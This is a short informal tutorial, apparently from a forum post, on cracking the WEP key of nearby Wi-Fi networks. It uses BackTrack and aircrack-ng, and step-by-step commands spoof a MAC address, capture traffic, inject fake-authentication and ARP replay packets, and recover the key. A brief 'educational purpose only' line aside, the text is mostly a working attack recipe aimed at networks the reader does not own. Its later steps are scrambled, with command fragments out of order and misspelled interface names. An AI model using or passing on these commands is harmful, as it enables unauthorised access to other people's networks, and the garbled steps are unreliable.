Hack wifi with backtrack

for educational purpose only

First Download
Backtrack from the
following link:
http://
www.remote-
exploit.org/
backtrack_download.html
Step 2:-
Burn the iso image
on CD and boot your
laptop from CD drive
Step 3:-
Select the third boot
option(VESA/KDE).
Step 4:-
Once in BT3, click
the tiny black box in
the lower left
corner to load up a
"Konsole" window.
Step 5:-
Type the following
command
airmon-ng
Note down the
interface name. In
this example wifi0
Step 6:-
airmon-ng stop
wifi0
Step 7:-
ifconfig wifi0 down
Step 8:-
macchanger --mac
00:11:22:33:44:66
wifi0
Step 9:-
airmon-ng start
wifi0
Step 10:-
airodump-ng wifi0
This will start
populating Wifi
networks. Press Ctrl
+ C to stop.
Check the network
with WEP
encryption.
Notedown BSSID,
CH and ESSID
somewhere in
notepad or paper
Note that if the
same BSSID is
available in the
second part with
STATION
associated with it,
means you some
one is accessing
that network and
our task will be little
easier.
If not than don’t
worry we will still
crack it.
Step 11:-
airodump-ng -c
(channel) -w (file
name)
Replace
(channel) with the
CH which u had
already n
(file name) with any
name of your choice
(bssid) with the
BSSID which u had
already note
--bssid (bssid) wifi0
Note it
Leave this console
as it is and start
new konsole
Step 12:-
aireplay-ng -1 0 -a
(bssid) -h
00:11:22:33:44:66
wifi0
If you don’t get
Association
Successful mesage
then keep on trying
until
you got success.
Step 13:-
aireplay-ng -3 -b
(bssid) -h
00:11:22:33:44:66
wifi0
Well if you don’t see
ARP ACK and sent
packets are not
increasing or still 0
than it means no 1
is
accessing that
network.But don’t
worry you go an
optional step,
Leave this console
as it is and start
new k
Step 14:-
aireplay-ng -2 –p
0841 –c
FF:FF:FF:FF:FF:FF
konsole
message than keep
on trying until you
get success
got an optional step
konsole
–b (bssid) –h
00:11:22:33:44:66
wfi0
Press y and enter
Now you will see
that ARP and ACK
packets in 2nd
console are
increasing fast
Keep this console as
it is and start 4th
console.
Step 15:-
aircrack-ng -b
(bssid) (filename)-
Just wait and
watch…..Backtrack
will do rest of the
work.
Hurray we got the
key.
Done..!!           thanks #hacker